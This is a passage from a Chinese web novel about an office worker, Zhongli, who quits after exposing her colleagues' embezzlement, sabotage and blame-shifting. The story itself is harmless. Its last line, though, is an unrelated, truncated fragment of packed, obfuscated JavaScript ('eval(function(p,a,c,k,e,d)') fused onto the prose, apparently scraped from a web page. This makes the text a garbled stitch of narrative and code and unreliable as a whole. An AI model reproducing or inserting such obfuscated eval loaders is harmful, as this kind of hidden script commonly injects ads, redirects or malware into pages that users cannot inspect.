首先是那位很能降本增效，通知她最好自行离职，不然后续背调可能不会配合的人事总监。
钟离转头就用邮件抄送了全公司，曝光了他挪用公款资金流水的情况，爱去哪背调去哪背调，总不至于去监狱背调吧。
其次是公司雷厉风行，脾气出了名暴躁的销冠姐。
这姐倒是人不坏，但是常常被人使坏。
于是钟离免费赠送了她一份整理好的，从自己到公司以来，发现她被公司背刺的所有证据。
包含她几次被抢关键客户，以及做好的方案资料被恶意修改的事故，五花八门，大多全是销售组的另一个人，在副总的授意下干的，试图边缘化销冠姐。
当天销冠姐就来公司大吵大闹，带着一大堆客户资料跳槽离职了。
本来事情也就闹得差不多了，结果临走的时候呢，产品部的小主管艾拉，在茶水间好死不死地嘴了钟离两句，说她不会做人，平常跟闷葫芦一样，一点都不合群，离职了以后，也不知道还能不能找到工作。
很好。
所以最后，钟离又顺便把产品部私下发现项目存在致命漏洞，隐秘地把锅甩给运营部，导致他们去年年终奖锐减的事情给爆破了。
然后就心情愉快地离职，转头去仲裁院提交了仲裁申请书。
在一片天塌地陷的混乱中，公司才终于后知后觉地意识到。
原来那个看着默默无闻，不讲八卦，只知道埋头干活的老实人，居然是个史诗级无敌大刺头。
不是，你捏着这么多黑料，有什么不能商量协调博弈的，非要一股脑都捅了吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c